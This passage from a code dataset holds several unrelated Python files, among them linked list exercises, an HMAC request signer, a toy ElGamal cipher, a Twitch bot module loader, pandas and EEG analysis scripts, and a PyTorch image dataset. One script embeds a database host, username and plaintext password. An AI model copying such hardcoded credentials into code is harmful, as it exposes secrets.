range(i+1,len(data)):\n for k in range(j+1,len(data)):\n suma = int(data[i]) + int(data[j]) + int(data[k]) - 2020\n print(suma)\n if suma == 0:\n print(int(data[i]) * int(data[j]) * int(data[k]))\n print(int(data[i]) , int(data[j]) , int(data[k]))\n break","sub_path":"Day1/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"181448246","text":"class Node(object):\n\n def __init__(self, data=None, next_node=None, prev_node=None):\n self.data = data\n self.next = next_node\n self.prev = prev_node\n\n\ndef InsertNth(head, data, position):\n \"\"\"\n Insert Node at the end of a linked list\n head input could be None as well for empty list\n \"\"\"\n node = Node(data)\n prev = None\n current = head\n if current is None:\n return node\n\n while position > 0 and current is not None:\n prev = current\n current = current.next\n position -= 1\n\n if prev is None:\n head = node\n node.next = current\n else:\n prev.next = node\n node.next = current\n return head\n\n\ndef Delete(head, position):\n \"\"\"\n Delete Node at a given position in a linked list\n \"\"\"\n prev = None\n current = head\n\n while position > 0 and current is not None:\n prev = current\n current = current.next\n position -= 1\n\n if position == 0 and current is not None:\n if prev is None:\n head = current.next\n else:\n prev.next = current.next\n current.next = None\n del current\n return head\n\n\ndef ReversePrint(head):\n \"\"\"\n Print elements of linked list in reverse order as standard output.\n head could be None as well for empty list\n \"\"\"\n\n if head is None: return\n current = head\n array = []\n\n while current is not None:\n array.append(current.data)\n current = current.next\n\n while array:\n print(array.pop())\n\n\ndef Reverse(head):\n if head is None: return\n\n prev = head\n current = prev.next\n prev.next = None\n\n while current is not None:\n _next = current.next\n current.next = prev\n\n # move forward ->\n prev = current\n current = _next\n return current if current else prev\n\n\ndef CompareLists(headA, headB):\n \"\"\"\n Compare two linked list\n head could be None as well for empty list\n \"\"\"\n if headA == headB == None: return 1\n if not (headA and headB): return 0\n ca = headA\n cb = headB\n\n while (ca and cb):\n if (ca.data != cb.data):\n return 0\n if ca.next is None or cb.next is None:\n if ca.next != cb.next:\n return 0\n ca = ca.next\n cb = cb.next\n return 1\n\n\ndef MergeLists(headA, headB):\n \"\"\"\n Merge two linked lists\n head could be None as well for empty list\n \"\"\"\n def insert(head, node):\n prev = None\n current = head\n\n while (current and (node.data > current.data)):\n prev = current\n current = current.next\n if prev is None:\n node.next = current\n head = node\n else:\n prev.next = node\n node.next = current\n return head\n\n if headA and headB:\n current = headA\n\n while current is not None:\n _next = current.next\n current.next = None\n headB = insert(headB, current)\n current = _next\n return headB\n\n else:\n return headA or headB\n\n\ndef GetNode(head, position):\n \"\"\"\n Get Node data of the Nth Node from the end.\n \"\"\"\n current = head\n array = []\n\n while current is not None:\n array.insert(0, current.data)\n current = current.next\n return array[position]\n\n\ndef RemoveDuplicates(head):\n \"\"\"\n Delete duplicate nodes\n \"\"\"\n if head is None: return\n prev = head\n current = head.next\n\n while current is not None:\n _next = current.next\n if prev.data == current.data:\n current.next = None\n current = _next\n prev.next = current\n else:\n prev = current\n current = current.next\n return head\n\n\ndef hasCycle(head):\n \"\"\"\n Detect a cycle in a linked list. Note that the head pointer may be 'None' if the list is empty.\n \"\"\"\n if head is None: return\n visited = set()\n current = head\n\n while current is not None:\n if current in visited:\n return True\n visited.add(current)\n current = current.next\n return False\n\n\ndef FindMergeNode(headA, headB):\n \"\"\"\n Find the node at which both lists merge and return the data of that node.\n head could be None as well for empty list\n \"\"\"\n def _compare(link1, link2):\n l1 = link1\n l2 = link2\n\n while (l1 and l2):\n if l1.data != l2.data:\n return False\n else:\n l1 = l1.next\n l2 = l2.next\n return True if l1 == l2 == None else False\n\n ca = headA.next\n\n while ca is not None:\n cb = headB.next\n current = ca\n\n while ((current and cb) and current.data != cb.data):\n cb = cb.next\n\n if _compare(current, cb):\n return current.data\n\n ca = ca.next\n return None\n\n\ndef SortedInsert(head, data):\n \"\"\"\n Insert a node into a sorted doubly linked list\n head could be None as well for empty list\n \"\"\"\n if head is None: return head\n current = head\n node = Node(data)\n\n while current.next is not None:\n if node.data <= current.data:\n break\n current = current.next\n\n if node.data <= current.data:\n if current.prev is not None:\n prev = current.prev\n\n node.prev = prev\n node.next = current\n\n prev.next = node\n current.prev = node\n else:\n node.next = current\n current.prev = node\n head = node\n else:\n current.next = node\n node.prev = current\n\n return head\n\n\ndef ReverseDoublyLinkedList(head):\n \"\"\"\n Reverse a doubly linked list\n head could be None as well for empty list\n \"\"\"\n if head is None: return head\n prev = None\n current = head\n\n while current is not None:\n _next = current.next\n current.next = prev\n current.prev = _next\n prev = current\n current = _next\n return prev\n","sub_path":"DataStructures/LinkedList/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":6030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"43647747","text":"import base64\nimport datetime\nimport dateutil.tz\nimport hmac\nfrom hashlib import sha256\nfrom requests.auth import AuthBase\nfrom urlparse import parse_qs, urlsplit, urlunsplit\nfrom urllib import urlencode\n\n\nclass HmacAuth(AuthBase):\n API_KEY_QUERY_PARAM = 'apiKey'\n SIGNATURE_HTTP_HEADER = 'X-Auth-Signature'\n TIMESTAMP_HTTP_HEADER = 'X-Auth-Timestamp'\n VERSION_HTTP_HEADER = 'X-Auth-Version'\n SIGNATURE_DELIM = '\\n'\n VERSION_1 = '1'\n\n def __init__(self, api_key, secret_key,\n api_key_query_param = API_KEY_QUERY_PARAM,\n signature_http_header = SIGNATURE_HTTP_HEADER,\n timestamp_http_header = TIMESTAMP_HTTP_HEADER,\n version_http_header = VERSION_HTTP_HEADER):\n self.api_key = api_key\n self.secret_key = secret_key\n self.api_key_query_param = api_key_query_param\n self.signature_http_header = signature_http_header\n self.timestamp_http_header = timestamp_http_header\n self.version_http_header = version_http_header\n\n def __call__(self, request):\n self._encode(request)\n return request\n\n def _encode(self, request):\n timestamp = self._get_current_timestamp()\n self._add_api_key(request)\n self._add_timestamp(request, timestamp)\n self._add_signature(request, timestamp)\n self._add_version(request, HmacAuth.VERSION_1)\n\n def _get_current_timestamp(self):\n # Return current UTC time in ISO8601 format\n return datetime.datetime.now(dateutil.tz.tzutc()).isoformat()\n\n def _add_api_key(self, request):\n # Add the API key as a query parameter\n url = request.url\n scheme, netloc, path, query_string, fragment = urlsplit(url)\n query_params = parse_qs(query_string)\n query_params[self.api_key_query_param] = self.api_key\n new_query_string = urlencode(query_params, doseq=True)\n new_url = urlunsplit((scheme, netloc, path, new_query_string, fragment))\n request.url = new_url\n\n def _add_timestamp(self, request, timestamp):\n request.headers[self.timestamp_http_header] = timestamp\n\n def _add_version(self, request, version):\n request.headers[self.version_http_header] = version\n\n def _add_signature(self, request, timestamp):\n method = request.method\n path = request.path_url\n content = request.body\n signature = self._sign(method, timestamp, path, content)\n request.headers[self.signature_http_header] = signature\n\n def _sign(self, method, timestamp, path, content):\n # Build the message to sign\n message = bytearray(method) + \\\n bytearray(HmacAuth.SIGNATURE_DELIM) + \\\n bytearray(timestamp) + \\\n bytearray(HmacAuth.SIGNATURE_DELIM) + \\\n bytearray(path)\n\n if content:\n message += bytearray(HmacAuth.SIGNATURE_DELIM) + bytearray(content)\n\n # Create the signature\n digest = hmac.new(self.secret_key, message, sha256).digest()\n return base64.urlsafe_b64encode(digest).strip()\n","sub_path":"python_hmac_auth/hmac_auth.py","file_name":"hmac_auth.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"426050580","text":"\"\"\"\nPara generar claves El Gamal:\np --> número primo\nα --> elemento de orden q\nd (valor aleatorio): ES LA CLAVE PRIVADA ϵ [2,..., p-2]\nβ = α^d mod p\n\nClave pública = (p, α, β)\nClave privada es el valor d\n\nCifrar: \nElegimos v (valor aleatorio): c=(c1,c2)\n c1 = α ^v mod p\n c2 = m · β^v mod p\n\nDescifrar: m = (c2/c1^d) mod p\n\"\"\"\ndef xgcd(a, b):\n \"\"\"return (g, x, y) such that a*x + b*y = g = gcd(a, b)\"\"\"\n x0, x1, y0, y1 = 0, 1, 1, 0\n while a != 0:\n q, b, a = b // a, a, b % a\n y0, y1 = y1, y0 - q * y1\n x0, x1 = x1, x0 - q * x1\n return b, x0, y0\n\ndef modInv(n, a):\n \"\"\"Calcula el inverso de a módulo n.\n Utiliza el algoritmo extendido de Euclides para ello.\n \n Args:\n a: número del que se calcula el módulo\n n: módulo del inverso\n \n Returns:\n inverso de a módulo n\n \n \"\"\"\n mcd , u , v = xgcd(n,a)\n if mcd != 1:\n print(\"No existe inverso\")\n return 0\n \n return u%a\n\n\ndef cifra_Gamal(m, p, alfa, d, v):\n\t\n\tc1 = pow(alfa, v)%p\n\n\tbeta = pow(alfa, d)%p\n\n\tc2 = m*pow(beta, v)%p\n\t\n\treturn (c1, c2)\n\ndef descifra_Gamal(p, c1,c2,d):\n\taux=(pow(c1,d)%p)\n\n\taux=modInv(aux,p)\n\n\tm=(c2*aux)%p\n\n\treturn (m)\n\n\n\n#def cifra_Gamal(m, p, alfa, alfa_b, d, v):\nprint (\"Cifrado: \",cifra_Gamal(65, 1409, 1271, 51, 44))\n#def descifra_Gamal(p, c1,c2,d):\nprint (\"Descifrado: \",descifra_Gamal(61,55,56,12))\n\n","sub_path":"Criptografia/PECS/2019-2020_Sem1/01 PEC/PEC4/CifrarYDescifrarGamal.py","file_name":"CifrarYDescifrarGamal.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"590923166","text":"import importlib\nimport glob\nimport logging\nimport inspect\nfrom os.path import basename, isfile\nfrom collections import defaultdict\nfrom util.events import Event\nimport asyncio\n\nfrom util.twitch_message_structures import WhisperMessage, ChatMessage, CommandMessage\n\nlogger = logging.getLogger(__name__)\n\n\nclass ModuleRegistry:\n imported_modules = {}\n module_instances = {}\n event_to_hook = defaultdict(list)\n command_to_hook = defaultdict(list)\n config = {}\n bot = None\n\n def __init__(self):\n raise NotImplementedError\n\n @classmethod\n def load_all(cls, bot_instance, conf: dict, modules_path=\"modules\"):\n # Get every python file in \n module_paths = glob.glob(modules_path + \"/*\", recursive=True)\n modules = [basename(f)[:-3] for f in module_paths\n if isfile(f) and not basename(f).startswith(\"_\") and basename(f).endswith(\".py\")]\n\n # Import every module\n for m in modules:\n try:\n _imp = importlib.import_module(modules_path + \".\" + m)\n cls.imported_modules[m] = _imp\n except ImportError as e:\n logger.critical(\"Cannot import module {}: {}\".format(m, e))\n\n # Make conf dict keys lowercase\n cls.config = conf\n cls.bot = bot_instance\n Module.conf = conf\n modules_conf = {k.lower(): v for k, v in conf['modules'].items()}\n cls.__init_modules(Module.__subclasses__(), bot_instance, modules_conf)\n\n @classmethod\n def __init_modules(cls, modules, bot_instance, modules_conf: dict):\n for m in modules:\n # Get module specific config from config file if there is an entry\n m_conf = modules_conf[m.__name__.lower()] if m.__name__.lower() in modules_conf else None\n\n # Create module instance with reference to bot and pass its config\n instance = m(bot_instance, m_conf)\n cls.module_instances[m.__name__] = instance\n\n # Add the module's event hooks to the dict\n for name, method in inspect.getmembers(instance, predicate=inspect.ismethod):\n if hasattr(method, 'events'):\n for h in method.events:\n cls.event_to_hook[h].append(method)\n logger.debug(\"Added function {} for filter {}.\".format(method, h.__name__))\n\n if hasattr(method, 'commands'):\n for cmd in method.commands:\n cls.command_to_hook[cmd].append(method)\n logger.debug(\"Added command {} to function {}.\".format(cmd, method))\n\n @classmethod\n def call_event_handlers(cls, event):\n # First check if the event is a command\n if isinstance(event, CommandMessage):\n if event.altname.lower() in cls.config['banned_users']:\n cls.bot.whisper_direct(event.altname, \"You have been permanently banned from using this bot.\")\n logger.info(\"Banned user {} tried to use command {}.\".format(event.altname, event.command))\n return\n try:\n # Retrieve all command hooks for the event\n cmd_hooks = cls.command_to_hook[event.command]\n for c_h in cmd_hooks:\n # Check if user has the rights to run the command\n if c_h.scoped and event.altname not in cls.config['admins'] and event.altname != cls.config['owner']:\n logger.critical(\"User {} tried to use command {} but is not in the admin list\"\n .format(event.altname, event.command))\n return\n # Dont forward command messages from non-active channels\n if isinstance(event.unwrap(), ChatMessage) and event.raw_obj.channel.lower() not in cls.config['active_channels']:\n logger.info(\"Received command in non-active channel {} from user {}.\"\n .format(event.raw_obj.channel, event.altname))\n else:\n # Call the hooks\n asyncio.ensure_future(c_h(event))\n except KeyError:\n logger.info(\"No hook for command: {}\".format(event.command))\n # Unwrap contained event (Chat or Whisper)\n event = event.unwrap()\n\n try:\n # Call every hook that handles the specified (ChatMessage, ...)\n for key, hooks in cls.event_to_hook.items():\n if isinstance(event, key):\n for h in hooks:\n asyncio.ensure_future(h(event))\n except KeyError:\n logger.info(\"No hook for event {}.\".format(event.__class__))\n except TypeError:\n logger.critical(\"Module declared normal function {} instead of coroutine.\".format(h))\n\n @classmethod\n def add_command_handler(cls, cmd, callback):\n if not callable(callback):\n logger.critical(\"Error while adding {} handler: {} is not callable.\".format(cmd, callback))\n raise ValueError\n cls.command_to_hook[cmd].append(callback)\n\n\nclass Module:\n conf = None\n\n def __init__(self, bot, m_conf):\n self.bot = bot\n self.say = bot.say\n self.whisper = bot.whisper\n self.module_conf = m_conf\n\n def handles(*args):\n def inner(f):\n f.events = args\n return f\n return inner\n\n def add_command_handler(self, cmd, callback):\n ModuleRegistry.add_command_handler(cmd, callback)\n\n @property\n def database(self):\n return self.bot.database\n\n @staticmethod\n def command(*cmd, admin_only=False):\n def inner(f):\n f.commands = cmd\n f.scoped = admin_only\n return f\n return inner\n\n @staticmethod\n def emit(event):\n if isinstance(event, Event):\n ModuleRegistry.call_event_handlers(event)\n else:\n logger.critical(\"Cannot broadcast events that don't subclass : {}\".format(event))\n raise TypeError\n\n def unblock(self, callback, *args):\n logger.info(\"Unblocked method call to {} with args {}.\".format(callback, args))\n el = asyncio.get_event_loop()\n el.run_in_executor(None, callback, *args)\n\n def respond_to(self, command_msg, message, whisper_msg=None, autocomplete=True):\n chat_or_whisper = command_msg.unwrap()\n if isinstance(chat_or_whisper, ChatMessage):\n # Add name if it's not in the chat message already\n if chat_or_whisper.altname not in message and chat_or_whisper.display_name not in message and autocomplete:\n message = '@{}, '.format(chat_or_whisper.display_name) + message\n self.bot.say_direct(chat_or_whisper.channel, message)\n logger.debug(\"Responded to {} with {} via chat.\".format(chat_or_whisper, message))\n if isinstance(chat_or_whisper, WhisperMessage):\n if whisper_msg is not None:\n message = whisper_msg\n self.bot.whisper_direct(chat_or_whisper.display_name, message)\n logger.debug(\"Responded to {} with {} via whisper.\".format(chat_or_whisper, message))\n","sub_path":"util/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225431667","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 8 11:53:59 2019\n\n@author: xujiazhe\n\ndescribe: 匹配加权采购成本\n\"\"\"\n\nimport pandas as pd\nimport datetime\nimport numpy as np\nimport pymysql\n\n\ndef get_item_price():\n \"\"\"\n 从数据库存中取出产品最新报价\n \"\"\"\n print('从数据库中查询产品最新报价...')\n conn = pymysql.connect(host='192.168.100.198', port=3306, user='xujiazhe',\n password='dc-xujiazhe529', database='product_order')\n # 查询产品分类表\n sql_str = \"select SKU,Time,item_price from `weighted_purchase_price` order by SKU,Time desc;\"\n df = pd.read_sql(sql_str, con=conn)\n conn.close()\n\n df['id'] = np.arange(df.shape[0]) + 1\n # 升序\n df['sort_id'] = df['id'].groupby(\n df['SKU']).rank(ascending=1, method='first')\n\n df = df[df['sort_id'] == 1]\n df = df[['SKU', 'Time', 'item_price']].drop_duplicates()\n\n print('完成查询产品最新报价!')\n\n return df\n\n\ndef match_item_price(source_wb, target_wb):\n '''\n 数据处理\n '''\n # 1. 读取数据,作为df\n '''基础数据来源:积压库存数据'''\n df = pd.read_excel(source_wb)\n \n # 匹配前初始化成本\n df['item_price'] = np.nan\n\n # 匹配成本价\n df_item_price = pd.read_excel(\"匹配文件/get_item_price.xlsx\")\n # df_item_price = get_item_price()\n print(\"开始匹配加权采购成本...\")\n df_item_price = df_item_price[['SKU', 'item_price']]\n df_item_price.rename(columns={'SKU': 'sku', 'item_price': 'item_price1'}, inplace=True)\n\n # 匹配到item_price\n df['sku'] = df['sku'].astype(str)\n df['sku'] = df['sku'].replace('nan','')\n df = pd.merge(df, df_item_price, how='left', on=['sku'])\n \n # 匹配数据库的数据没匹配到的情况下,特殊处理。\n df_sku_price = pd.read_excel(\"匹配文件/sku成本.xlsx\")\n # df_sku_price = pd.read_excel(r\"\\\\192.168.50.208\\c_data_support\\B部门共享\\许佳哲\\匹配文件\\sku成本.xlsx\")\n df_sku_price = df_sku_price[['sku','item_price']].drop_duplicates()\n df_sku_price['sku'] = df_sku_price['sku'].astype(str)\n df_sku_price.rename(columns={'sku': 'sku', 'item_price':'item_price2'}, inplace=True)\n df = pd.merge(df, df_sku_price, how='left', on=['sku'])\n\n df['item_price'] = df['item_price1']\n df.loc[df['item_price'].isnull(), 'item_price'] = df.loc[df['item_price'].isnull(), 'item_price2']\n\n\n out_list = ['statistics-date',\n 'snapshot-date',\n # 新增sku字段\n 'sku',\n 'sellersku',\n 'fnsku',\n 'asin',\n 'product-name',\n 'avaliable-quantity(sellable)',\n 'qty-with-removals-in-progress',\n 'inv-age-0-to-90-days',\n 'inv-age-91-to-180-days',\n 'inv-age-181-to-270-days',\n 'inv-age-271-to-365-days',\n 'inv-age-365-plus-days',\n 'Brand',\n 'nation',\n 'Site',\n 'Timet',\n '计数',\n # 新增如下这3个字段,用来判别\n 'Product1',\n 'Product2',\n 'Product3',\n 'department',\n 'department1',\n 'department2',\n 'department3',\n 'department4',\n 'item_price',\n 'item_price1',\n 'item_price2',\n ]\n df = df[out_list]\n # 输出\n df.to_excel(target_wb, index=False)\n\n print('匹配加权采购成本完成,请查看是否没匹配到的!')\n print('-' * 100)\n\n return df\n\n\nif __name__ == \"__main__\":\n source_wb = '结果输出/20200113/积压20200113_非eu和eu_匹配sku_匹配事业部.xlsx'\n target_wb = '结果输出/20200113/积压20200113_非eu和eu_匹配sku_匹配事业部_匹配成本.xlsx'\n match_item_price(source_wb, target_wb)\n\n # df = get_item_price()\n # df.to_excel(\"结果输出/get_item_price.xlsx\", index=False)\n\n","sub_path":"py代码/jiya_06_Match_item_price.py","file_name":"jiya_06_Match_item_price.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"1052912","text":"import sys\nimport os\nimport numpy as np\nimport json\nimport ast\nfrom scipy import spatial\nfrom lshash import lshash\n\nfolder = sys.argv[1]\ngestureselect = sys.argv[2] # query gesture\nL = int(sys.argv[3]) # number of layers\nk = int(sys.argv[4]) # hashes per layer\nt = int(sys.argv[5])\ntry:\n vecoption = sys.argv[6] # tf, tfidf\nexcept:\n vecoption = 'tf'\n\nos.chdir(folder)\n\n# load vector representations: for PCA, SVD, NMF, LDA\nif vecoption == 'tf':\n filename = folder + '/tf.txt'\nelif vecoption == 'tfidf':\n filename = folder + '/tfidf.txt'\nelse:\n print('wrong vector model name')\nwith open(filename) as json_file:\n vec = json.load(json_file)\n\nwordset = set()\ngestureset = set()\n# example line in vector file: \"('23', u'Y', u'11', u'[6, 6, 7]')\": 0.0009615384615384616, \nfor key, value in vec.items():\n li = ast.literal_eval(key)\n gestureset.add(li[0]) # document\n wordset.add((li[1], li[2], li[3])) # component + sensor + symbolic descriptor\nw2i = {}\nfor idx, word in enumerate(wordset):\n w2i[word] = idx\ngesturelist = sorted([v for v in gestureset])\nf2i = {} # map from document to index\ni2f = {} # map from index to document\nfor idx, finset in enumerate(gesturelist):\n f2i[str(finset)] = idx\n i2f[idx] = str(finset)\n# transform vector in dictionary to a matrix (row: word, column: file)\nfeatures = [[0.0] * len(w2i) for i in range(len(f2i))]\nfor key, val in vec.items():\n li = ast.literal_eval(key)\n features[f2i[li[0]]][w2i[(li[1], li[2], li[3])]] = val\nX = np.array(features)\n\n# initialize\nlsh = lshash(L, k)\n# build index\nlsh.index(X)\n# retrieval\nq_vec = X[f2i[gestureselect]]\n[ret, overall, unique] = lsh.query(q_vec)\n\n# sort the results according to Euclidean distance\ndist = {}\nfor idx in ret:\n dist[i2f[idx]] = spatial.distance.euclidean(q_vec, X[idx])\nrank = [k for k, v in sorted(dist.items(), key = lambda item : item[1])]\nrank = [rank[i] for i in range(min(t, len(rank)))]\nprint('overall: ' + str(overall))\nprint('unique: ' + str(unique))\n#print(\",\".join(rank))\nprint(rank)","sub_path":"phase2/code/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260080014","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 12 18:43:06 2018\n\n@author: dhartig\n\"\"\"\n\n# Runs the hw1 executable in a subprocess, captures the output to stdout to get the data\n# then plots a graph for part c of HW1\n\n\nimport subprocess, numpy as np\nfrom matplotlib import pyplot as plt\n\ntimes = []\nvalues = []\nvariances = []\n\ncomplete = subprocess.run(\"/opt/school/stat778/hw1/hw1\", check=True, stdout=subprocess.PIPE)\n\nfor row in complete.stdout.decode(\"utf-8\").splitlines():\n time, val, var = row.split(\" \")\n times.append(float(time))\n values.append(float(val))\n variances.append(float(var))\n \nvals = np.array(values)\n \n# 95% confidence interval is 1.96*sqrt(variance)\nvariances = np.sqrt(variances) * 1.96\nerr_hi = vals**np.exp(np.divide(variances,(vals*np.log(vals))))\nerr_lo = vals**np.exp(np.divide(-1*variances,(vals*np.log(vals))))\n\nplt.step(times, vals, 'b-', times, err_hi, 'r-', times, err_lo, 'r-')\nplt.show()\n \n\n","sub_path":"hw1/hw1_graph.py","file_name":"hw1_graph.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"215666159","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated by Wang Han on 2018/5/28 22:51.\nE-mail address is hanwang.0501@gmail.com.\nCopyright © 2017 Wang Han. SCU. All Rights Reserved.\n\"\"\"\nimport glob\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom PIL import Image, ImageEnhance\nfrom torch.utils.data import Dataset\nfrom torchvision.transforms import transforms\n\nfrom dataset.patch_extractor import PatchExtractor\n\n\nclass CellDataset(Dataset):\n def __init__(self, phase, config, transform=None):\n super().__init__()\n assert phase in ['train', 'test'], \"phase must be 'train' or 'test'.\"\n self.phase = phase\n self.patch_size = config['patch_size']\n self.stride = config['stride']\n self.transform = transform\n if self.phase == 'train':\n self.path = config['train_path']\n label_path = config['train_label_path']\n self.label_path = config['label_path']\n self.image_size = config['image_size']\n self.labels = config['labels']\n wp = int((self.image_size[0] - self.patch_size) / self.stride + 1)\n hp = int((self.image_size[1] - self.patch_size) / self.stride + 1)\n labels = {name: index for index in range(len(self.labels)) for name in\n glob.glob(os.path.join(self.path, self.labels[index], '*.tif'))}\n self.labels = labels\n self.names = list(sorted(labels.keys()))\n augment = config['train_augment']\n self.shape = (len(labels), wp, hp, (4 if augment['rotate'] else 1), (2 if augment['flip'] else 1),\n (2 if augment['enhance'] else 1))\n elif self.phase == 'test':\n self.path = config['test_path']\n label_data = pd.read_csv(config['test_label_path'], sep='\\t', names=['id', 'label', 'status'],\n usecols=['id', 'label'])\n self.labels = {}\n for _, row in label_data.iterrows():\n index = os.path.join(self.path, str(row['id']) + '.tif')\n self.labels[index] = np.where(np.array(config['labels']) == row['label'])[0].item()\n if os.path.isdir(self.path):\n names = [name for name in glob.glob(os.path.join(self.path, '*.tif'))]\n else:\n names = [self.path]\n self.names = list(sorted(names))\n\n def __getitem__(self, index):\n if self.phase == 'train':\n im, x_patch, y_patch, rotation, flip, enhance = np.unravel_index(index, self.shape)\n with Image.open(self.names[im]) as img:\n extractor = PatchExtractor(img=img, patch_size=self.patch_size, stride=self.stride)\n patch = extractor.extract_patch((x_patch, y_patch))\n if rotation != 0:\n patch = patch.rotate(rotation * 90)\n if flip != 0:\n patch = patch.transpose(Image.FLIP_LEFT_RIGHT)\n if enhance != 0:\n factors = np.random.uniform(.5, 1.5, 3)\n patch = ImageEnhance.Color(patch).enhance(factors[0])\n patch = ImageEnhance.Contrast(patch).enhance(factors[1])\n patch = ImageEnhance.Brightness(patch).enhance(factors[2])\n label = self.labels[self.names[im]]\n return transforms.ToTensor()(patch), label\n \n elif self.phase == 'test':\n file = self.names[index]\n label = self.labels[file]\n with Image.open(file) as img:\n extractor = PatchExtractor(img=img, patch_size=self.patch_size, stride=self.stride)\n patches, _ = extractor.extract_patches()\n patches_list = []\n if self.transform:\n for patch in patches:\n patches_list.append(self.transform(patch))\n else:\n for patch in patches:\n patches_list.append(patch)\n return torch.stack(patches_list, dim=0), label, file\n\n def __len__(self):\n if self.phase == 'train':\n return np.prod(self.shape)\n else:\n return len(self.labels)\n","sub_path":"dataset/cell_dataset_20180614.py","file_name":"cell_dataset_20180614.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404629873","text":"#! /usr/bin/env python\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nfrom openstack_requirements import requirement\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Normalize requirements files\")\n parser.add_argument('requirements', help='requirements file input')\n args = parser.parse_args()\n with open(args.requirements) as f:\n requirements = [line.strip() for line in f.readlines()]\n\n for line in requirements:\n req = requirement.parse_line(line)\n print(req.to_line(comment_prefix=' ',\n sort_specifiers=True), end='')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"openstack_requirements/cmds/normalize_requirements.py","file_name":"normalize_requirements.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397503118","text":"import os\nimport mne\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nimport scipy.io\nfrom fooof import FOOOF\n\n###Filter\ndef notch(unfiltered, interference_frequency, sampling_frequency, rf=35.):\n # w0 is the interference frequency expressed in cycles/half-cycle. Half-cycle corresponds to the Nyquist frequency\n # w0=1 for the Nyquist frequency (sampling/2)\n w0 = interference_frequency / (sampling_frequency / 2.)\n bw = w0 / rf # reducing factor=35\n lower = w0 - bw / 2.\n if lower < 0: lower = 0.0000000001\n upper = w0 + bw / 2.\n if upper > 1: upper = 0.9999999999\n b, a = signal.butter(2, [lower, upper], btype='bandstop')\n filtered = signal.lfilter(b, a, unfiltered)\n\n return filtered\n#######\nax = plt.subplot(111)\n#PARAMETERS#\nfs = 1024 #freq. threshold\nnpers = 1024 #resolution\nhf = 100 #higher freq. to show\ninterference_freq = 50 #NOISE\n#############\n\n####GET ON###\nfname = 'ON_Day2-epo'#file prefix\nmnedata = mne.read_epochs(fname+'.fif')\ndf = mne.Epochs.to_data_frame(mnedata)\nnome_col=list(df.columns)\n\n# Initialize a FOOOF object\nfm = FOOOF()\n# Set the frequency range to fit the model\nfreq_range = [2, 40]\n\nnr2 = np.zeros(20) #R² exponent\n\n############################\n#PSD Log Y HTL\nfor i in range(20):\n unfiltered = df.iloc[:,i+3]\n out = notch(unfiltered, interference_freq, fs)\n f, Pxx_den = signal.welch(out, fs, nperseg=npers)\n fm.fit(f, Pxx_den, freq_range)\n nr2[i] = -1 * fm.aperiodic_params_[1]\n\nplt.scatter(np.ones(len(nr2)), nr2,label='DRUG')\n\n####GET OFF###\nfname = 'OFF_Day2-epo'#file prefix\nmnedata = mne.read_epochs(fname+'.fif')\ndf = mne.Epochs.to_data_frame(mnedata)\nnome_col=list(df.columns)\n\n# Initialize a FOOOF object\nfm = FOOOF()\n# Set the frequency range to fit the model\nfreq_range = [2, 40]\nnr22 = np.zeros(20) #R² exponent\n\n############################\nfor i in range(20):\n unfiltered = df.iloc[:,i+3]\n print(nome_col[i+3])\n out = notch(unfiltered, interference_freq, fs)\n f, Pxx_den = signal.welch(out, fs, nperseg=npers)\n fm.fit(f, Pxx_den, freq_range)\n nr22[i] = -1 *fm.aperiodic_params_[1]\n\nplt.scatter(np.zeros(len(nr22)), nr22,label='CONTROL')\n\nfor i in range(20):\n x=[1,0]\n y=[nr2[i],nr22[i]]\n plt.plot(x, y,lw=0.5,color='black')\n ax.annotate(nome_col[i+3], (x[0], y[0]))\n ax.annotate(nome_col[i+3], (x[1], y[1]))\n\nax.spines['right'].set_visible(False)\nax.spines['top'].set_visible(False)\n\nplt.xlim(-1,2)\nplt.xticks([])\nplt.legend()\nplt.title('1/f Exponent')\nplt.ylabel(r'$\\beta \\to (1/f^{\\beta})$')\n\nfilename3 = fname+\"CHAN_foof.png\"\nplt.savefig(filename3, dpi=500) #EXPORT PLOT AS PNG FILE\n","sub_path":"all_codes/epoch_foof5.py","file_name":"epoch_foof5.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"335943157","text":"import 